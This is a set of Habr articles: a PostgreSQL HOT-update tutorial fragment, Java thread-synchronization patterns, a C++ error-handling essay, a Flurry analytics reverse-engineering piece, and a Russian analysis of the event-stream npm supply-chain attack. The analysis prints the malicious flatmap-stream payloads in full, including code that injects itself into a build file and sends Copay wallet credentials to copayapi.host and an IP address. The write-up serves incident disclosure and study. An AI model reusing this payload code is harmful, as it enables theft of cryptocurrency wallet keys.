* The head pointer (0,1) remains, but it acquired the «redirect» status.
* The new row version overwrote (0,2) since there were no references to that tuple for sure, and the pointer was released («unused» status).
Let's do an update several times more:
```
=> UPDATE hot SET s = 'F';
=> UPDATE hot SET s = 'G';
=> SELECT * FROM heap_page('hot',0);
```
```
ctid | state | xmin | xmax | hhu | hot | t_ctid
-------+---------------+----------+----------+-----+-----+--------
(0,1) | redirect to 4 | | | | |
(0,2) | normal | 3990 (c) | 3991 (c) | t | t | (0,3)
(0,3) | normal | 3991 (c) | 3992 | t | t | (0,5)
(0,4) | normal | 3989 (c) | 3990 (c) | t | t | (0,2)
(0,5) | normal | 3992 | 0 (a) | | t | (0,5)
(5 rows)
```
Next update causes in-page vacuuming again:
```
=> UPDATE hot SET s = 'H';
=> SELECT * FROM heap_page('hot',0);
```
```
ctid | state | xmin | xmax | hhu | hot | t_ctid
-------+---------------+----------+-------+-----+-----+--------
(0,1) | redirect to 5 | | | | |
(0,2) | normal | 3993 | 0 (a) | | t | (0,2)
(0,3) | unused | | | | |
(0,4) | unused | | | | |
(0,5) | normal | 3992 (c) | 3993 | t | t | (0,2)
(5 rows)
```
Again, some of the tuples are vacuumed away, and the pointer to the head of the chain is moved accordingly.
Conclusion: if columns that are not indexed are frequently updated, it might make sense to reduce the `fillfactor` parameter in order to reserve some page space for updates. We should, however, take into account that the less the `fillfactor`, the more free space is left in a page, so the physical size of the table increases.
Break of a HOT chain
====================
If the page lacks free space to allocate a new tuple, the chain will break. And we will have to make a separate reference from the index to the row version located in a different page.
To reproduce this situation, let's start a concurrent transaction and build the data snapshot in it.
```
| => BEGIN ISOLATION LEVEL REPEATABLE READ;
| => SELECT count(*) FROM hot;
```
```
| count
| -------
| 1
| (1 row)
```
The snapshot will not allow vacuuming away the tuples in the page. Now let's do an update in the first session:
```
=> UPDATE hot SET s = 'I';
=> UPDATE hot SET s = 'J';
=> UPDATE hot SET s = 'K';
=> SELECT * FROM heap_page('hot',0);
```
```
ctid | state | xmin | xmax | hhu | hot | t_ctid
-------+---------------+----------+----------+-----+-----+--------
(0,1) | redirect to 2 | | | | |
(0,2) | normal | 3993 (c) | 3994 (c) | t | t | (0,3)
(0,3) | normal | 3994 (c) | 3995 (c) | t | t | (0,4)
(0,4) | normal | 3995 (c) | 3996 | t | t | (0,5)
(0,5) | normal | 3996 | 0 (a) | | t | (0,5)
(5 rows)
```
At the next update, the page won't have enough space, but the in-page vacuum will be unable to vacuum anything away:
```
=> UPDATE hot SET s = 'L';
```
```
| => COMMIT; -- snapshot no longer needed
```
```
=> SELECT * FROM heap_page('hot',0);
```
```
ctid | state | xmin | xmax | hhu | hot | t_ctid
-------+---------------+----------+----------+-----+-----+--------
(0,1) | redirect to 2 | | | | |
(0,2) | normal | 3993 (c) | 3994 (c) | t | t | (0,3)
(0,3) | normal | 3994 (c) | 3995 (c) | t | t | (0,4)
(0,4) | normal | 3995 (c) | 3996 (c) | t | t | (0,5)
(0,5) | normal | 3996 (c) | 3997 | | t | (1,1)
(5 rows)
```
In the tuple (0,5), there is a reference to (1,1), which is in page 1.
```
=> SELECT * FROM heap_page('hot',1);
```
```
ctid | state | xmin | xmax | hhu | hot | t_ctid
-------+--------+------+-------+-----+-----+--------
(1,1) | normal | 3997 | 0 (a) | | | (1,1)
(1 row)
```
Now there are two rows in the index, each of which points to the beginning of its HOT chain:
```
=> SELECT * FROM index_page('hot_id',1);
```
```
itemoffset | ctid
------------+-------
1 | (1,1)
2 | (0,1)
(2 rows)
```
> Unfortunately, the documentation virtually lacks information on in-page vacuum and HOT updates, and you should look for answers in the source code. I advise you to start with [README.HOT](https://git.postgresql.org/gitweb/?p=postgresql.git;a=blob;f=src/backend/access/heap/README.HOT;hb=HEAD).
>
>
[Read on](https://habr.com/ru/company/postgrespro/blog/484106/). | https://habr.com/ru/post/483768/ | null | en | null |
# Преобразование асинхронных методов в синхронные с возвращением результата в Java
В данной статье я бы хотел обсудить с уважаемым сообществом методы синхронизации потоков в Java. Чтобы не увязать в теории, попробуем рассмотреть синхронизацию потоков в задаче преобразования асинхронных методов в синхронные.
#### Дано
* JavaSE 6+
* библиотека с асинхронным методом
```
void A.asyncMethod(Callback callback);
```
* метод, который нужно переопределить, и вернуть из него результат
```
@Override
Object overridenMethod() {
return syncMethod();
}
```
#### Задача
Преобразовать асинхронный вызов метода в синхронный с возвращением результата.
#### Решение
Создать метод-обертку для преобразования асинхронного вызова в синхронный.
##### Метод 1 — блокировка на объекте
```
Object syncMethod() {
final Queue queue = new LinkedList();
try {
A.asyncMethod(new Callback() {
@Override
public void onFinish(Object o) {
synchronized (queue) {
queue.add(o);
queue.notify();
}
}
});
synchronized (queue) {
while (queue.size() == 0) {
queue.wait();
}
return queue.poll();
}
} catch (InterruptedException e) {
return null;
}
}
```
Создаем очередь для возвращения результата. Вызываем асинхронный метод и ждем его выполнения, если у нас еще нет результата в очереди. По завершению выполнения метода, запихиваем объект в очередь и оповещаем ожидающий поток о том что можно продолжить исполнение. Возвращаем объект из очереди. Блокировка проводится на объекте очереди.
##### Метод 2 — с помощью CountDownLatch
```
Object syncMethod() {
final CountDownLatch done = new CountDownLatch(1);
final Queue queue = new LinkedList();
try {
A.asyncMethod(new Callback() {
@Override
public void onFinish(Object o) {
try {
queue.add(o);
} finally {
done.countDown();
}
}
});
done.await();
return queue.poll();
} catch (InterruptedException e) {
return null;
}
}
```
Вместо блокировки на объекте используем объект класса CountDownLatch. При его создании задаем начальное значение счетчика 1. После вызова метода ожидаем пока значение счетчика будет 0. По завершению асинхронного метода понижаем счетчик, он становится 0, главная нить просыпается и мы возвращаем объект из очереди.
##### Метод 3 — с помощью CyclicBarrier
```
Object syncMethod() {
final CyclicBarrier barrier = new CyclicBarrier(2);
final Queue queue = new LinkedList();
try {
A.asyncMethod(new Callback() {
@Override
public void onFinish(Object o) {
try {
queue.add(o);
} finally {
try {
barrier.await();
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
}
catch (BrokenBarrierException e) {}
}
}
});
barrier.await();
return queue.poll();
} catch (InterruptedException e) {
return null;
} catch (BrokenBarrierException e) {
return null;
}
}
```
При создании экземпляра класса CyclicBarrier указывается количество нитей, которые одновременно могут пройти этот барьер. После вызова асинхронного метода ждем второй нити, которая вызовет `barrier.await()`. По завершению метода, нить вызвавшая тот же метод у барьера, становится второй, барьер достигает своего ограничения и восстанавливает выполнение всех приостановенных нитей.
##### Метод 4 — с помощью метода take интерфейса BlockingQueue
```
Object syncMethod() {
final BlockingQueue queue = new ArrayBlockingQueue(1);
try {
A.asyncMethod(new Callback() {
@Override
public void onFinish(Object o) {
try {
queue.put(o);
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
}
}
});
return queue.take();
} catch (InterruptedException e) {
return null;
}
}
```
За замечание спасибо [apangin](https://habrahabr.ru/users/apangin/). Метод `take` интерфейса блокирующей очереди (`BlockingQueue`) при отсутствии елементов в ней останавливает нить и ожидает появления элементов в ней. При появлении элемента, нить восстанавливается и продолжает своё исполнение.
##### Метод 5 — с помощью Exchanger
```
Object syncMethod() {
final Exchanger exchanger = new Exchanger();
try {
A.asyncMethod(new Callback() {
@Override
public void onFinish(Object o) {
try {
exchanger.exchange(o);
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
}
}
});
return exchanger.exchange(null);
} catch (InterruptedException e) {
return null;
}
}
```
Спасибо [ashofthedream](https://habrahabr.ru/users/ashofthedream/) за метод. Объект класса `Exchanger` останавливает текущую нить при первом вызове метода `exchange` до тех пор пока из другой нити с ним не захотят «поменяться» чем-либо. После обмена обе нити, из которых вызваны методы, продолжат своё выполнение.
#### Итого
В ходе данной статьи мы узнали, на примере практической задачи преобразования асинхронных методов в синхронные, средства для синхронизации потоков в Java 6.
Дополнения, здравая критика и обсуждение недостатков/достоинств этих методов приветствуются. | https://habr.com/ru/post/181680/ | null | ru | null |
# Фатализм в обработке ошибок
Предисловие
-----------
Эта статья является реакцией на статью: [Что будет с обработкой ошибок в С++2a](https://habr.com/post/426965/). После каждого абзаца у меня появлялся зуд, открывались зарубцованные раны и начинали кровоточить. Может, я принимаю слишком близко к сердцу то, что написано. Но просто хочется выть о той близорукости и безграмотности, что проявляют программисты на С++ в 21 веке. Причем даже не в его начале.
Приступим.
Классификация
-------------
> Условно все ошибочные ситуации в программе можно разделить на 2 большие группы:
>
> 1. Фатальные ошибки.
> 2. Не фатальные, или ожидаемые ошибки.
>
>
>
>
Я сейчас буду придираться. Но фатальные ошибки — они тоже в каком-то смысле ожидаемые. Мы ожидаем, что проезд по памяти часто приводит к падению, но может к нему и не приводить. И это — ожидаемо, не правда ли? Когда вводится классификация, то всегда было бы проверить ее на непротиворечивость.
Но это так, частая малозаметная ошибка.
Давайте разберем фатальные ошибки.
**Деление на 0**. Интересно, почему эта ошибка является фатальной? Я бы с удовольствием кидал исключение в этом случае и ловил бы ее для последующей обработки. Почему она фатальная? Почему мне навязывается определенное поведение моей собственной программы, и я не могу никак на это повлиять? Разве С++ не про гибкость и про то, что язык повернут лицом к программисту? Хотя...
**Разыменование нулевого указателя**. Сразу вспоминается Java, там есть `NullPointerException`, который можно обработать. В библиотеке Poco есть тоже [`NullPointerException`](https://pocoproject.org/docs/Poco.NullPointerException.html)! Так почему разработчики стандарта с упорством глухонемого повторяют одну и ту же мантру?
Вообще, почему я начал это тему? Она очень важна и как раз раскрывает понимание разработчика об обработке ошибок. Речь тут не идет про обработку ошибок как таковую, это прелюдия к важному действу. Речь всегда про надежность приложения, про отказоустойчивость, и иногда, в самых редких и исчезающих, я бы даже сказал, вымирающих видах программ, про транзакционное и консистентное поведение.
В этом аспекте все споры про деление на ноль и разыменование указателей выглядят как борьба птичек за крошку хлеба. Безусловно, важный процесс. Но только с точки зрения птичек.
Вернемся к разделению на фатализм и его отсутствие… Начну с простого вопроса: если я получил неправильные данные по сети, является ли это фатальной ошибкой?
Простой и правильный ответ: зависит от. Понятно, что в большинстве случаев это не является фатальной ошибкой, и все данные, полученные по сети, надо провалидировать, и вернуть 4xx в случае ошибочности данных. А бывают ли случаи, когда надо крешнуться? Причем крешнуться с диким воем, чтобы пришла смс, например. Да еще и не одна.
Бывают. Могу привести пример из своей предметной области: распределенный алгоритм консенсуса. Нода получает ответ, который содержит хеш от цепочек изменений с другой ноды. И этот хеш отличается от локального. Это означает, что что-то пошло не так, и продолжать дальнейшее исполнение просто опасно: могут разойтись данные, если уже не. Бывает, когда доступность сервиса менее важна, нежели его консистентность. В этом случае нам нужно упасть, причем с грохотом, чтобы все услышали вокруг. Т.е. мы получили данные по сети, их провалидировали, и упали. Для нас эта ошибка — фатальнее некуда. Ожидаема ли эта ошибка? Ну да, мы же код написали с валидацией. Глупо утверждать обратное. Только мы не хотим продолжать выполнение программы после этого. Требуется ручное вмешательство, автоматика не сработала.
Выбор фатализма
---------------
Самая неочевидная вещь в обработке ошибок: это решать, что является фатальным, а что — нет. Но этот вопрос каждый программист задает сам себе на протяжении всей разработческой деятельности. Поэтому как-то отвечает себе на этот вопрос. Правильный ответ приходит почему-то из практики.
Однако это — лишь видимая часть айсберга. В глубине стоит куда более чудовищный вопрос. Чтобы понять всю глубину глубин, надо поставить простую задачу и попытаться на нее ответить.
*Задача*. Сделать фреймворк чего-нибудь.
Все просто. Делаем фреймворк, например, сетевого взаимодействия. Или парсинга JSON. Или, на худой конец, XML. Сразу возникает вопрос: а вот когда возникает ошибка из сокета — это фатальная ошибка или нет? Перефразирую: надо ли кидать исключение, или вернуть ошибку? Это исключительная ситуация или нет? А может вернуть `std::optional`? Или монадку? (^1)
Парадоксальный вывод состоит в том, что сам фреймворк не может ответить на этот вопрос. Только использующий его код знает. Именно поэтому в превосходной, на мой взгляд, библиотеке [boost.asio](https://www.boost.org/doc/libs/1_68_0/doc/html/boost_asio.html) используется оба варианта. В зависимости от личных предпочтений автора кода и прикладной логики можно выбрать тот или иной способ обработки ошибок. Сначала меня немного смущал такой подход, но со временем я проникся гибкостью такого подхода.
Однако это еще не все. Самое страшное впереди. Вот мы пишем прикладной код, однако нам кажется, что он прикладной. Для другого кода, более высокоуровневого, наш код будет библиотечный. Т.е. разделение на прикладной/библиотечный(фреймворковый и т.п.) код — это чистая условность, которая зависит от уровня переиспользования компонент. Всегда можно что-то навертить сверху и прикладной код перестанет быть таковым. А это сразу означает, что выбор того, что является допустимым, а что — нет, уже решает код использующий, а не использованный.
Если же мы отпрыгнем в сторону, то окажется, что иногда даже нельзя понять, кто кого использует. Т.е. компонент **А** может использовать компонент **Б**, а компонент **Б** компонент **А** (^2). Т.е. кто определяет, что будет происходить, вообще непонятно.
Распутывание клубка
-------------------
Когда смотришь на это все безобразие, то сразу возникает вопрос: как с этим жить? Что делать? Какие ориентиры для себя выбрать, чтобы не потонуть в многообразии?
Для этого полезно посмотреть по сторонам и понять, как такие вопросы решаются в других местах. Однако искать надо с умом: надо отличать "коллекционирование марок" от полноценных решений.
Что такое "коллекционирование марок"? Это собирательный термин, который означает, что мы разменяли цель но что-то другое. Например: была у нас цель — звонить и общаться с близкими людьми. И мы раз, и купили дорогущую игрушку, потому что "модно" и "красиво" (^3). Знакомо? Думаете, с программистами так не бывает? Не льстите себе.
Обработка ошибок — это не цель. Всякий раз, когда мы говорим про обработку ошибок, мы сразу приходим в тупик. Потому что это — способ достижения цели. А исходная цель — сделать наш софт надежным, простым и понятным. Именно такие цели надо ставить и всегда их придерживаться. А обработка ошибок — это фуфел, который не стоит обсуждения. Хочется кинуть исключение — да на здоровье! Вернул ошибку — молодец! Хочется монадку? Поздравляю, ты создал иллюзию продвинутости, но только в собственной башке (^4).
Тут хотел еще написать, как правильно делать, но уже исписался. Раны залечились и перестали кровоточить. Короче, советы такие:
1. Разделяйте на компоненты с четкими границами.
2. На границах описывайте, что и как может полететь. Желательно, чтобы было единообразно. Но гораздо важнее, чтобы было.
3. Делайте возможность простой обработки ошибок в коде, который это будет использовать.
4. Если что-то можно обработать внутри без нагрузки на пользовательский код — не выпячивайте это наружу. Чем меньше ошибок пользователь должен обрабатывать — тем лучше.
5. Уважайте своего пользователя, не будьте мудаками! Пишите понятные интерфейсы с ожидаемым поведением, чтобы ему не нужно было читать комментарии и материться.
5-й совет самый главный, т.к. он объединяет первые четыре.
*P.S.* В детстве мне всегда любопытно было смотреть на муравейник. Тысячи муравьев, каждый что-то делает, ползет по своим делам. Процесс идет. Сейчас я тоже наблюдаю с интересом. Тоже за муравейником. Где тысячи особей занимаются своим маленьким делом. Могу пожелать им удачи в их нелегком деле!
^1: Люди падки на модные штуки. Когда все вдоволь наигрались, проснулись С++ программисты, и тут все завертелось.
^2: Такое может быть, когда есть несколько абстракций в компоненте **В**, которая их связывает. См. [Инверсия управления](https://ru.wikipedia.org/wiki/%D0%98%D0%BD%D0%B2%D0%B5%D1%80%D1%81%D0%B8%D1%8F_%D1%83%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F).
^3: А на следующий день, бац, и экран разбился.
^4: Я не против монад, я против того, чтобы относиться к этому с придыханием, типа, смотрите, здесь монада, т.е. моноид в моноидальной категории эндофункторов! Слышны аплодисменты и одобрительные кивки. А где-то далеко-далеко, еле слышно, кто-то оргазмирует. | https://habr.com/ru/post/426971/ | null | ru | null |
# Рассказ о возмутительной лёгкости взлома инфраструктуры разработки современного ПО
В конце октября появилось сообщение о [проблеме](https://github.com/remy/nodemon/issues/1442) в чрезвычайно популярном Node.js-инструменте nodemon. Дело было в том, что в консоль выводилось предупреждение следующего содержания: `DeprecationWarning: crypto.createDecipher is deprecated`. Подобные оповещения об устаревших возможностях — не редкость. В частности, это сообщение выглядело вполне безобидно. Оно относилось даже не к самому проекту nodemon, а к одной из его зависимостей. Эта мелочь вполне могла остаться никем не замеченной, так как, во многих случаях, подобные проблемы решаются сами собой.
[](https://habr.com/company/ruvds/blog/434116/)
Примерно через две недели после первого упоминания этой проблемы [Айртон Спарлинг](https://github.com/FallingSnow) всё проверил и выяснил, что причиной предупреждения была довольно глубокая [новая зависимость](https://github.com/dominictarr/event-stream/issues/116). Сообщение исходило из странного фрагмент кода в конце минифицированного JavaScript-файла, которого в более ранних версиях библиотеки не было, и который, из более поздней её версии, был удалён. Исследование Айртона привело его к популярному npm-пакету event-stream, который загружается примерно два миллиона раз в неделю, и до недавнего времени находился под контролем опенсорс-разработчика, обладающего хорошей репутацией.
Несколько месяцев назад управление event-stream перешло к другому человеку, малоизвестному пользователю, [попросившему](https://github.com/dominictarr/event-stream/issues/116#issuecomment-440927400), по электронной почте, о предоставлении ему прав на публикацию пакета. Сделано это было на законных основаниях. Затем этот пользователь обновил пакет event-stream, включив в его патч-версию вредоносную зависимость flatmap-stream, а после этого опубликовал новую мажорную версию пакета уже без этой зависимости. Благодаря этому он хотел сделать изменение менее заметным. Новые пользователи, которые, предположительно, имеют более сильную склонность интересоваться зависимостями, установили бы самую свежую версию event-stream (4.x во время написания этого материала). А пользователи, проекты которых зависели от предыдущей версии пакета, автоматически бы установили инфицированную патч-версию при очередном выполнении команды `npm install` (тут учтён распространённый подход к настройке версий пакетов, подходящих для обновлений).
Подробности об инциденте
------------------------
Вредоносный код flatmap-stream был настроен на работу с файлом данных, который, кроме некоторых строк, весьма тривиально обфусцированных, содержал два зашифрованных фрагмента, расшифровать которые можно было лишь зная пароль.
```
! function() {
try {
var r = require,
t = process;
function e(r) {
return Buffer.from(r, "hex").toString()
}
var n = r(e("2e2f746573742f64617461")),
o = t[e(n[3])][e(n[4])];
if (!o) return;
var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
a = u.update(n[0], e(n[8]), e(n[9]));
a += u.final(e(n[9]));
var f = new module.constructor;
f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
} catch (r) {}
}();
```
Назовём этот фрагмент кода `Payload A`. Он ищет пароль в переменной окружения `npm_package_description`, устанавливаемой npm. Эта переменная окружения содержит описание корневого пакета, что позволяет вредоносному коду воздействовать лишь на конкретный целевой пакет. Умный ход! В данном случае таким пакетом было клиентское приложение [биткойн-кошелька Copay](https://copay.io/), а паролем для расшифровки вредоносного кода была фраза [A Secure Bitcoin Wallet](https://github.com/bitpay/copay/blob/master/package.json#L3) (это выяснил GitHub-пользователь [maths22](https://github.com/dominictarr/event-stream/issues/116#issuecomment-441744514)).
После того, как код `Payload A` успешно расшифровывал первый фрагмент данных, выполнялся код, который мы тут назовём `Payload B`.
```
/*@@*/
module.exports = function(e) {
try {
if (!/build\:.*\-release/.test(process.argv[2])) return;
var t = process.env.npm_package_description,
r = require("fs"),
i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
n = r.statSync(i),
c = r.readFileSync(i, "utf8"),
o = require("crypto").createDecipher("aes256", t),
s = o.update(e, "hex", "utf8");
s = "\n" + (s += o.final("utf8"));
var a = c.indexOf("\n/*@@*/");
0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {
try {
r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)
} catch (e) {}
})
} catch (e) {}
};
```
Этот код выполнял проверку на то, чтобы скрипт был бы запущен исключительно с определённым аргументом командной строки, с чем-то, соответствующим шаблону `build:*-release`. Например, это могло выглядеть как `npm run build:ios-release`. В противном случае скрипт не выполнялся. Это ограничивало выполнение кода всего тремя скриптами для сборки проектов, используемых в Copay. А именно, речь идёт о скриптах, которые ответственны за сборку [настольной версии приложения и его версий для iOS и Android](https://github.com/bitpay/copay/blob/master/package.json#L70-L72).
Затем скрипт искал ещё одну зависимость приложения, а именно — его интересовал файл `ReedSolomonDecoder.js` из пакета [@zxing/library](https://www.npmjs.com/package/@zxing/library). Код `Payload B` этот файл не запускал. Он просто внедрял в него код `Payload C`, что приводило к тому, что этот код выполнился бы в самом приложении, при загрузке `ReedSolomonDecoder`. Вот код `Payload C`.
```
/*@@*/
! function() {
function e() {
try {
var o = require("http"),
a = require("crypto"),
c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";
function i(e, t, n) {
e = Buffer.from(e, "hex").toString();
var r = o.request({
hostname: e,
port: 8080,
method: "POST",
path: "/" + t,
headers: {
"Content-Length": n.length,
"Content-Type": "text/html"
}
}, function() {});
r.on("error", function(e) {}), r.write(n), r.end()
}
function r(e, t) {
for (var n = "", r = 0; r < t.length; r += 200) {
var o = t.substr(r, 200);
n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"
}
i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)
}
function l(t, n) {
if (window.cordova) try {
var e = cordova.file.dataDirectory;
resolveLocalFileSystemURL(e, function(e) {
e.getFile(t, {
create: !1
}, function(e) {
e.file(function(e) {
var t = new FileReader;
t.onloadend = function() {
return n(JSON.parse(t.result))
}, t.onerror = function(e) {
t.abort()
}, t.readAsText(e)
})
})
})
} catch (e) {} else {
try {
var r = localStorage.getItem(t);
if (r) return n(JSON.parse(r))
} catch (e) {}
try {
chrome.storage.local.get(t, function(e) {
if (e) return n(JSON.parse(e[t]))
})
} catch (e) {}
}
}
global.CSSMap = {}, l("profile", function(e) {
for (var t in e.credentials) {
var n = e.credentials[t];
"livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {
var t = this;
t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))
}.bind(n))
}
});
var e = require("bitcore-wallet-client/lib/credentials.js");
e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
var t = this.getKeysFunc(e);
try {
global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey))
} catch (e) {}
return t
}
} catch (e) {}
}
window.cordova ? document.addEventListener("deviceready", e) : e()
```
Код `Payload A` и `Payload B` предназначен для запуска в среде Node.js, на сборочном сервере проекта, а вот `Payload C` рассчитан на выполнение в окружении, напоминающем браузер, находящимся под управлением фреймворка [Cordova](https://cordova.apache.org/) (ранее — [PhoneGap](https://phonegap.com/)). Этот фреймворк позволяет разрабатывать нативные приложения для различных платформ, используя веб-технологии — HTML, CSS и JavaScript. Клиентские приложения Copay (а также форков этого проекта вроде [FCash](https://www.fcash.cash/)), предназначенные для различных платформ, построены с использованием Cordova. Именно на эти клиенты и нацелена атака. Эти нативные приложения предназначены для конечных пользователей Copay, которые управляют с их помощью своими биткойн-кошельками. Именно эти кошельки и интересовали злоумышленника. Скрипт отправлял украденные данные на copayapi.host и по адресу 111.90.151.134.
Неутешительные выводы
---------------------
Разработка того, о чём мы только что говорили — задача весьма непростая. Этот взлом потребовал серьёзных исследований и немалых усилий по проведению атаки. У злоумышленника, наверняка, были и запасные варианты, которыми он воспользовался бы в том случае, если ему не удалось бы получить контроль над пакетом event-stream. Учитывая то, как была организована атака, правдоподобным выглядит предположение, в соответствии с которым злоумышленник изначально был нацелен именно на Copay, а не просто получил контроль над популярной библиотекой, а потом уже думал над тем, что ему с ней делать. Популярность event-stream говорит о том, что у атакующего был лёгкий способ доступа к важным компьютерам в сотнях компаний по всему миру. К счастью, угроза была быстро обнаружена и нейтрализована, учитывая то, как долго она могла бы существовать незамеченной, но размышления о том, что могло случиться, приводят нас к очевидному выводу: опенсорс серьёзно болен.
Давайте составим список причин, приведших к вышеописанному инциденту:
1. Приложение (Copay) было построено на основе множества различных зависимостей, при этом дерево его зависимостей не было заблокировано.
2. Даже учитывая то, что дерево зависимостей заблокировано не было, зависимости не кэшировались, они загружались из репозитория при каждой сборке проекта.
3. [Тысячи](https://www.npmjs.com/package/event-stream?activeTab=dependents) других проектов зависят от event-stream, в них используются такие же или похожие конфигурации.
4. Тот, кто поддерживал библиотеку, от которой зависят тысячи проектов, перестал ей заниматься.
5. Тысячи проектов использовали эту библиотеку бесплатно. При этом ожидалось, что поддерживать её будут без какой-либо материальной компенсации.
6. Тот, кто поддерживал библиотеку, передал контроль над ней неизвестному лишь потому что тот попросил его об этом.
7. Никаких уведомлений о том, что проект сменил владельца, не было, и всё те же тысячи проектов просто продолжили использовать соответствующий пакет.
8. На самом деле, этот список можно продолжать бесконечно...
Страшно даже подумать о том, какой вред мог бы причинить обсуждаемый нами взлом. От event-stream, например, зависят крайне серьёзные проекты. Например — [Microsoft Azure CLI](https://www.npmjs.com/package/azure-cli). Уязвимыми оказались и те компьютеры, на которых занимаются разработкой этой программы, и те компьютеры, на которых ей пользуются. Вредоносный код вполне мог попасть и на те, и на другие.
Проблема тут заключается в том, что очень много программных проектов построено на основе того, что сделали люди, от которых ждут, что они будут работать бесплатно. Они создают полезные программы, какое-то время ими занимаются (а может быть, просто делают их всеобщим достоянием и на этом всё заканчивается), а от них ждут, что они будут поддерживать свои разработки до конца времён. Если это у них не получается, то они либо бездействуют, игнорируя обращения к ним или сообщения об уязвимостях в их проектах ([виновен!](https://github.com/jsoverson?utf8=%E2%9C%93&tab=repositories&q=&type=&language=javascript)), или попросту отдают свои проекты другим людям, надеясь, что могут уйти и уже больше в это не ввязываться. Иногда это срабатывает. Иногда — нет. Но ничто не может оправдать уязвимости, которые, из-за подобных явлений, появляются в программном обеспечении. Кстати, даже обнаружение проблемы с event-stream, её исследование и устранение, в основном, было сделано добровольцами опенсорса, труд которых никак не оплачивается.
К тому, что случилось, имеет отношение такое количество самых разных людей и организаций, что поиск конкретных виновников особого смысла не имеет. Опенсорс серьёзно болен, и чем крупнее становится это явление — тем выше вероятность катастроф. Учитывая деструктивный потенциал рассмотренного здесь инцидента, это счастье, что целью злоумышленника было всего одно приложение.
Подобные проблемы не ограничены Node.js или npm. В родственных экосистемах наблюдается столь же неуместно высокий уровень доверия к незнакомцам. Это имеет отношения и к PyPi в среде Python, и к RubyGems, да и к GitHub тоже. Кто угодно может публиковаться в вышеупомянутых сервисах, без каких-либо уведомлений передавая управление своими проектами кому угодно. Да и без этого, современные проекты используют такие объёмы чужого кода, что его тщательный анализ надолго остановил бы работу любой команды. Для того чтобы уложиться в жёсткие сроки, разработчики устанавливают то, что им нужно, а команды, отвечающие за безопасность и автоматизированные средства проверки кода попросту не успевают за стремительным развитием постоянно меняющихся программ.
**Уважаемые читатели!** Как вы относитесь к недавнему инциденту с event-stream?
[](https://ruvds.com/ru-rub/news/read/95)
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/434116/ | null | ru | null |
# История о том, как заставить Flurry собирать статистику десктопных приложений
В 2014 году по информации Smart Insights количество пользователей мобильных приложений [превысило](http://www.smartinsights.com/mobile-marketing/mobile-marketing-analytics/mobile-marketing-statistics/) число пользователей десктопных. Одним из наиболее популярных инструментов для сбора статистики приложений на мобильных устройствах является [Flurry](https://developer.yahoo.com/analytics/). Инструмент полностью бесплатен, доступен для основных мобильных платформ и имеет мощный функционал. Вот основные показатели, которые предоставляет данный инструмент:
* количество новых и активных пользователей;
* количество сессий и их длина;
* частота использования приложения;
* статистика сбоев;
* аудитория приложения (пол, возраст, язык, география использования);
* информация о версиях продукта и устройствах;
* события внутри приложения;
* навигация по экранам и т.д.
Мы испольуем Flurry в мобильных версиях ICQ. Но он не предоставляет ни инструментария, ни открытого API для сбора статистики для десктопных приложений. Поэтому мы решили адаптировать возможности Flurry для десктопной версии нашего приложения.
В сети была найдена [Flurry SDK](https://developer.blackberry.com/native/documentation/device_platform/analytics/integrate_flurry_analytics_cascades.html) для платформы BlackBerry. Компания Flurry предоставляет данную библиотеку по запросу на электронную почту. Интегрироваться с библиотекой для BlackBerry не удалось, исходные коды также не были найдены. Но был найден другой путь.
Для типа приложения “Mobile Web” Flurry предоставляет минифицированный javascript. Не оставалось ничего, кроме как вычленить из него API. Для этого было создано тестовое приложение во Flurry для отслеживания статистики, из документации Flurry была взята html-страница. Статистика с этой html-страницы успешно отсылалась и отображалась на сайте Flurry. Эту страницу мы использовали в качестве теста работоспособности javascript-файла. Отметим, что события долетают до Flurry за 1-20 минут, а суммирование по событиям отстаёт от реальности на 2-5 часов. Эти обстоятельства осложняли тестирование.
После настройки тестов был проведен рефакторинг минифицированного flurry.js. В начале были распознаны функции кодирования, декодирования в Base64 и utf-8, хеш-функция Adler-32. Далее рефакторинг шел с двух сторон — с функций, которые предоставляло js (setAppVersion, startSession, logEvent и так далее), поскольку они имеют человеческие имена; и с запросов, которые js отправляло на сайт Flurry. В результате был получен читабельный и при том рабочий javascript-файл, из которого уже можно было достать API для работы с Flurry. Исходные коды работы с Flurry, реализованные на C++, можно посмотреть на [github](https://github.com/mailru/icqdesktop/blob/master/core/statistics.h).
Для использования статистики рекомендуется следующий порядок действий. Вначале необходимо зарегистрироваться на сайте Flurry и получить ключ. Далее в коде определить события, по которым будет собираться статистика, например, будем собирать статистику по успешной отправке сообщений:
```
enum class stats_events
{
...
message_sent,
...
}
```
